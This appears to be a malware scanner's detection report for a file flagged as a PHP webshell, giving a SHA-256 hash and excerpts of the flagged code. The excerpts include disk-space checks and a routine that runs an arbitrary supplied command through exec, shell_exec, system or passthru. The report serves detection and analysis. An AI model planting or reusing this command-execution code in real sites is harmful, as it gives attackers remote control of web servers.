Trojan-Downloader.JS.Agent.crj
PHP webshell with command execution
Web ShellChecks total disk space
SHA-256d1ad827e66ec7d35d928d756d1258a149b02c451137b66411bfa0152997c62e0
MaleculeTh
Evidence
10:14… stbyname($SERVER_ADDR);
11$free1= @diskfreespace($pwd1);
12$all1= disk_total_space($pwd1);
13$used = ConvertBytes($all1-$free1);
14$free = ConvertBytes(@diskfreespace($pwd1));if (!$free) {$free = 0;}
15$all = Conv …
⋯5 lines
42 if (!empty($cfe)) {
43 if(function_exists('exec')) {
44 @exec($cfe,$res);
45 $res = join("\n",$res);
46 } elseif(function_exists('shell_exec')) {
47 $res = @shell_exec($cfe);
48 } elseif(function_exists('system')) {
49 @ob_start();
50 @system($cfe);
51 $res = @ob_get_contents();
52 @ob_end_clean();
53 } elseif(function_exists('passthru')) {
⋯7 lines